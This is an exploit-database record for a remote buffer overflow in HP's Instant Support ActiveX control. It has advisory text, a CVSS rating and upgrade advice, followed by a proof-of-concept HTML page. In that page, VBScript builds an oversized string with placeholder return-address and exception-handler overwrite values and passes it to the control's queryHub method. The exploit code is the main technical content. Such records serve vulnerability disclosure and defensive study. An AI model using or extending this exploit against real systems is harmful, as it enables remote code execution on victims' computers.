HP Instant Support ActiveX Control Remote Buffer Overflow Vulnerability

vendor:

Instant Support ActiveX Control

by:

SecurityFocus

9.3

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Instant Support ActiveX Control

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2007

HP Instant Support ActiveX Control Remote Buffer Overflow Vulnerability

HP Instant Support ActiveX control is prone to a remote buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. Exploiting this issue allows remote attackers to execute arbitrary code in the context of applications using the affected ActiveX control and possibly to compromise affected computers.

Mitigation:

Upgrade to the latest version of HP Instant Support ActiveX control.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/24730/info

HP Instant Support ActiveX control is prone to a remote buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Exploiting this issue allows remote attackers to execute arbitrary code in the context of applications using the affected ActiveX control and possibly to compromise affected computers. 

 <html>
 <object classid='clsid:156BF4B7-AE3A-4365-BD88-95A75AF8F09D' id='test'></object>
  <script language = 'vbscript'>
   
   buff             = String(222, "A")

   get_EBP          = "cccc"

   get_EIP          = unescape("aaaa")

   buf1             = unescape("bbbb")

   second_exception = unescape("%00%00%92%00")

   first_exception  = unescape("%00%00%92%00")

   buf2             = String(4000, "B")

   egg              = buff + get_EBP + get_EIP + buf1 + second_exception + first_exception + buf2

   test.queryHub egg
 
 </script>
</html>